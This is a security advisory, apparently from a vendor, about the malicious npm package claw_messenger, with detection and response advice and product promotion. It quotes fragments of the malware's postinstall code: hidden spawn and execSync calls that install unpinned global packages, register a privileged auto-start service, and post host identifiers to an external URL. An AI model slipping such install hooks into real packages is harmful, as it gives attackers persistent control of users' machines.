claw_messengernpm
claw_messenger is a confirmed malicious npm package (MAL-2026-4526) that executes malicious code on install (malicious versions 0.0.76, 0.0.77, 0.0.78…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in claw_messenger (npm)
What this malware does
The postinstall lifecycle script in dist/postinstall.js spawns two detached, hidden child processes during npm install. (1) spawn('npm', ['install', '-g', 'opencode-ai', '--registry=https://registry.npmmirror.com',...], { shell: true, detached: true, stdio: 'ignore', windowsHide: true }) silently performs a global npm install of opencode-ai from a non-default registry mirror. opencode-ai is not declared in package.json or documented in the README, so the package surreptitiously expands the installer's globally-installed package surface to undocumented third-party code that the author or any future hijacker of that name can mutate. (2) An update-silent-service flow loads dist/service-installer.js which runs execSync('npm install -g claw-subagent-service@latest', { stdio: 'inherit', timeout: 120000 }) against a mutable @latest tag, then dist/daemon-manager.js elevates and registers the resulting binary as a privileged auto-start system service: on Windows via Start-Process sc -ArgumentList 'start claw-subagent-service' -Verb RunAs, on Linux via systemd with pkexec/sudo, on macOS via osascript... with administrator privileges. The combination — install-time, hidden, no-consent, unpinned remote dependency fetch followed by privileged auto-start service registration — gives the author (and anyone who later compromises opencode-ai or claw-subagent-service) persistent root/Administrator code execution on every machine that installs claw_messenger. Separately, dist/auto-register.js posts the host's MAC address and hostname to https://newsradar.dreamdt.cn/im/api/claw/register on plugin load, which is undocumented device-tracking telemetry but is secondary to the install-time RCE surface.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for claw_messenger (17 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging claw_messenger across your stack and pipelines.
If you installed it — respond
Remove claw_messenger from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If claw_messenger was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks claw_messenger before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks claw_messenger-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.